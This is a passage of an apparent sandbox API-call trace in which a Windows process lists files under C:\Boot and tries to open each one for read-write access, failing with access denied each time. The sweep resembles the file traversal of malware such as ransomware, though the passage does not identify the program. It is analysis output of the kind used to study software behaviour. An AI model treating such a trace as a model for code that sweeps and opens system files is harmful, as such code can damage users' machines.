dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.961] GetProcessHeap () returned 0x990000 [0144.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.961] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.961] GetLastError () returned 0x5 [0144.961] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.961] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.961] GetProcessHeap () returned 0x990000 [0144.961] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.961] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0144.961] GetProcessHeap () returned 0x990000 [0144.962] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.962] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.963] GetProcessHeap () returned 0x990000 [0144.963] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.963] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.963] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0144.963] GetProcessHeap () returned 0x990000 [0144.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.963] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.963] GetLastError () returned 0x5 [0144.964] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0144.964] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.965] GetLastError () returned 0x5 [0144.965] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0144.965] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.965] GetLastError () returned 0x5 [0144.965] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0144.965] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.965] GetLastError () returned 0x5 [0144.965] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0144.965] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.966] GetLastError () returned 0x5 [0144.966] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0144.966] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.966] GetProcessHeap () returned 0x990000 [0144.966] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.966] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0144.966] GetProcessHeap () returned 0x990000 [0144.966] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.966] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.967] GetProcessHeap () returned 0x990000 [0144.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.968] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.968] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.968] GetProcessHeap () returned 0x990000 [0144.968] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.968] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.968] GetLastError () returned 0x5 [0144.968] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.968] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.968] GetProcessHeap () returned 0x990000 [0144.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.968] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0144.969] GetProcessHeap () returned 0x990000 [0144.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.969] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.969] GetProcessHeap () returned 0x990000 [0144.969] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.969] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.969] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.969] GetProcessHeap () returned 0x990000 [0144.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.969] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.970] GetLastError () returned 0x5 [0144.970] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.970] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.970] GetProcessHeap () returned 0x990000 [0144.970] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.970] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0144.970] GetProcessHeap () returned 0x990000 [0144.970] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.970] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.971] GetProcessHeap () returned 0x990000 [0144.971] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.972] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.972] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.972] GetProcessHeap () returned 0x990000 [0144.972] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.972] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.972] GetLastError () returned 0x5 [0144.972] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.972] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.972] GetProcessHeap () returned 0x990000 [0144.972] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.972] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0144.972] GetProcessHeap () returned 0x990000 [0144.973] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.973] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.973] GetProcessHeap () returned 0x990000 [0144.973] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.973] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.973] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.973] GetProcessHeap () returned 0x990000 [0144.973] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.973] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.974] GetLastError () returned 0x5 [0144.974] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.974] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.974] GetProcessHeap () returned 0x990000 [0144.974] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.974] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0144.974] GetProcessHeap () returned 0x990000 [0144.974] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.974] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.975] GetProcessHeap () returned 0x990000 [0144.976] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.976] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.976] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.976] GetProcessHeap () returned 0x990000 